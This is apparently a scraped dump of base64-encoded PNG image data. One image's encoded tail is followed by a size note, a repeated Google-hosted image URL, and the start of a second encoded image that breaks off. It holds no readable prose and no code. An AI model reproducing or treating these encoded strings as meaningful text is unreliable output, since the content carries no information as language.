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
I/BdIPD/A44ZygQ40t3rAAAAAElFTkSuQmCC  image/png 702 636
https://lh3.googleusercontent.com/DHdmYWosCBjSF6XvHCuq\_vAFfKSYT-2vu3SRq4hMKhhxntXV1GB1gC9nyce88OMTmKsJvoSST0QIuKIZxaoQ6nAb7bN-
DTl8T2yoyCEP7fIwtYpIiIgNYhoxI9\_dmBuGXglF3NqF6GBLHWoZFXa-o2K3UVMJ4hSihNMB\_-qgwHDneCow8IFGIseYzdwNLVArDzYT5H3avlmKGBWSAB5NqFQiUtCy2OrPd6PxIKZtkTvhXVDZl3xQ8RM58z4NtepV9zCirbIxdY86xJfjMSl2mtG77DzblVTyDOu7xFnHFuQs7TdoPQ0QHfplX-
JhtuPPi8Ub4KPlYgr2ZrXWyBso0VPHtpIi3o94lNPQL8TFTsXVujOuvtfBrnjw0hp63NOyy-
VnbX7mPJbvdF9tptAEO41PXpnDaj-F3GaEnav4mIQ4I6sVPwzMUgpZdezqpg6wDvQ2i7pef5jxgyP9qcIFWNmBxxML0VZGVRzt8hnYkIRsmshGSRguGGr1SbXacBgfqtxA3oBv5YUA2oycTkNlAqgK\_9G04waK9cl7Q-boqc6krmNtyL4x41iPfPyjwikmw\_IImuRdV-H5VcVdUDHiiuWm7ABBAYA=w702-h636-no
DHdmYWosCBjSF6XvHCuq\_vAFfKSYT-2vu3SRq4hMKhhxntXV1GB1gC9nyce88OMTmKsJvoSST0QIuKIZxaoQ6nAb7bN-
DTl8T2yoyCEP7fIwtYpIiIgNYhoxI9\_dmBuGXglF3NqF6GBLHWoZFXa-o2K3UVMJ4hSihNMB\_-qgwHDneCow8IFGIseYzdwNLVArDzYT5H3avlmKGBWSAB5NqFQiUtCy2OrPd6PxIKZtkTvhXVDZl3xQ8RM58z4NtepV9zCirbIxdY86xJfjMSl2mtG77DzblVTyDOu7xFnHFuQs7TdoPQ0QHfplX-
JhtuPPi8Ub4KPlYgr2ZrXWyBso0VPHtpIi3o94lNPQL8TFTsXVujOuvtfBrnjw0hp63NOyy-
VnbX7mPJbvdF9tptAEO41PXpnDaj-F3GaEnav4mIQ4I6sVPwzMUgpZdezqpg6wDvQ2i7pef5jxgyP9qcIFWNmBxxML0VZGVRzt8hnYkIRsmshGSRguGGr1SbXacBgfqtxA3oBv5YUA2oycTkNlAqgK\_9G04waK9cl7Q-boqc6krmNtyL4x41iPfPyjwikmw\_IImuRdV-H5VcVdUDHiiuWm7ABBAYA=w702-h636-no.png
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
ehXLysq2bdvWrl272bNnN/Ja6HIKhQIAoK2tjaY9XKLmDARCKBAIdHR0Gt8yBoPBYD4sEAKSJHnp6emjRo1q3749Uo3kcvm8efPmzZvHzekvX768Y8cOhmGs
ra0PHTqkuZEYFha2dOlSkUhkYWExdOhQd3d3T09PpVJ58uTJw4cPGxsba2tr19XVSSQSf3//GTNmNF64ysrK8PDws2fPNr4KUt7emEWSpJaWVnR0dGpqakON
l8fjxcfHx8fHcxovaqqoqOi333776quvPnGNNzMzMzExcfny5QCAioqK5cuX19TU/PTTTy4uLmKxePHixVFRUXl5eUFBQYGBgVKpdNiwYZs2bXr+/PmUKVPM
zc09PT23bdsmFArz8vJWrFiRk5MjlUqXLVsmEAi+/PLLJpIZQkiSZHZ2dnR09Jw5cxqp8ZaXly9YsGD//v3vtWt69erVXbt2tW3b1s/Pb/PmzVKp9MqVK61b
t2ZZdu/evWfPnjU0NEQvqkwmW7JkyaRJk1iWPX/+/Pbt242NjXV0dKRSqUQimTVr1sKFCwEA7u7ubdu2hRDW1tayLGtjY3PgwIGGG+wSieTatWsBAQFcSlZW
VnR09LNnzwoKChqv8YrF4pCQkPz8/HPnzmGNF4NpXiALWZZlWYZhaIZhGOZPXZdlAYQs2nAlSZIkKYqCLAsh2gX+WFGUq6urv/322ydPnuzatevy5ctJSUnu
7u4HDx4EAOTm5i5ZsqS0tNTY2Jhl2aqqKicnp7Vr1zo6OhYUFCxfvjwnJ8fExISiqPLycoZhLl68aGtrGxsbO2vWrDZt2tTU1NA0LZPJVqxY8cUXXzRcWb57
927fvn11dXXRT4Zh7ty5k5ubu3PnzkGDBjVS44UQRkdHv3jxYseOHd26dWu8xhsUFHTx4sVBgwY9efLk0aNH+/fvt7e3R1mvXr3as2ePnZ3d3bt3VSqV5rdX
LBavWbPGwcEhMTHx1KlTfn5+jVmaVyqVa9euvX//PsuykydPXrZsGVLyz5w5g8YCiURCEIS+vn5paemCBQvmzJnTyLvAYDAYTFNRU1OTkJAAALh06VJycvKD
Bw8cHR137tyJBuqLFy+KRKLLly9nZmZ+9dVXzs7OMpkMZT18+NDIyOi3335LSUmJiooaMmRIREQEhDAnJ6dTp0737t3bsmULACAgIODSpUsA2X01mv3799+9
exf9XVdXJxaLS0tLi4qKysvL1Wp1QUEB2qxDyGQysVhcXl6OFrDrUVNTU15eLpPJLl68OHHiRM2s2tpalBUcHDx27Nh6FV+8eGFra1tbW1svXS6Xo8vV1dVx
iWVlZeXl5Ug8CCHDMGVlZWKxWKFQoAI0TaNa1dXVXC21Wo0qKhQKlmXLysoqKioYZCkHIWqnoqICtfx3fXX48OE7d+5w5X/77beff/757NmzEMKLFy8CALZu
